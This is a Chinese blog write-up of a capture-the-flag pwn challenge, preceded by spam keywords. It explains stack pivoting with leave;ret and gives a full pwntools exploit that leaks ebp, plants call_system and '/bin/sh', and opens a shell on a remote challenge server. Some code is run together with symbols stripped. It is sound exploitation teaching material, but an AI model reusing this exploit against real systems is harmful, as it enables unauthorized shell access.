问答网站建设,找外贸客户的网站,易企网站建设,广告视频网站第一道栈迁移题目#xff0c;跌跌撞撞理解了 前言
当前溢出可用空间比较少时#xff08;极端情况下仅能覆写ebp和ret#xff09;#xff0c;可以通过栈迁移的方式#xff0c;扩大shellcode的容纳空间#xff0c;其核心是将esp移动到一段shellocode开头。而esp总是由ebp赋… 第一道栈迁移题目跌跌撞撞理解了 前言
当前溢出可用空间比较少时极端情况下仅能覆写ebp和ret可以通过栈迁移的方式扩大shellcode的容纳空间其核心是将esp移动到一段shellocode开头。而esp总是由ebp赋值所以总是通过两次leave;ret的方式修改esp到固定位置。 一、代码审计 有两次读入操作。read进的内容超过字符串的长度存在栈溢出漏洞。然而计算溢出长度发现只有8字节即刚好可以覆写ebp和ret。 发现system的函数意味着plt对应的表项存在然而这个hack函数并不能给出flag。是个tricky。 二、思路与过程
这里采用栈迁移的方式拓展可构造rop链的空间。
思路是这样的修改esp为新一处地址→前提需要修改ebp为劫持目标地址ebp给esp赋值→这意味着要知道泄露栈地址。因此
具体操作可看这个大神的blog[BUUCTF-pwn]——ciscn_2019_es_2(内涵peak小知识)_buuojpwn栈空间不足_Y-peak的博客-CSDN博客
泄露ebpmain_ebp地址 —— 通过第一个read实现计算劫持目标地址修改ebp为劫持目标地址、修改ret为leave;ret地址 —— 通过第二个read实现 三、EXP
from pwn import *
from pwn import u32,p32context.log_leveldebugioprocess(./pwn)
ioremote(node4.buuoj.cn,26158)
# context.terminal [tmux,splitw,-h]
# gdb.attach(proc.pidof(io)[0],gdbscriptb main)elfELF(./pwn)
call_system0x8048559
#这里没用system_plt的地址而是用了call _system的地址意味着参数紧跟该地址之后不需要空四个字节
leave_ret0x80484b8
#修改ebp以及ret然而我们要知道具体的ebp的内容的值#①所以第一次read输入是为了泄露ebp
payloadba*0x27bb
io.recvuntil(bname?\n)
io.send(payload)
# main_ebpu32(io.recvuntil(b\xf7)[-4:])
io.recvuntil(baaab)
main_ebpu32(io.recv(4))
print(hex(main_ebp))
io.recv()#②第二次read则是为了在栈上填充信息修改ebp和ret后esp将迁移
# payload(bthisp32(call_system)bthatb/bin/sh\x00).ljust(0x28,ba)
# 上面的payload用于本地调试时找到偏移量0x38和0x28
payload(bthisp32(call_system)p32(main_ebp-0x2c)b/bin/sh\x00).ljust(0x28,ba)
#call _system,参数紧跟其后无需空开一个字长
payloadp32(main_ebp-0x38)
payloadp32(leave_ret)
io.sendline(payload)io.interactive() 总结
接触到高级一些的栈溢出内容需要多做题予以巩固。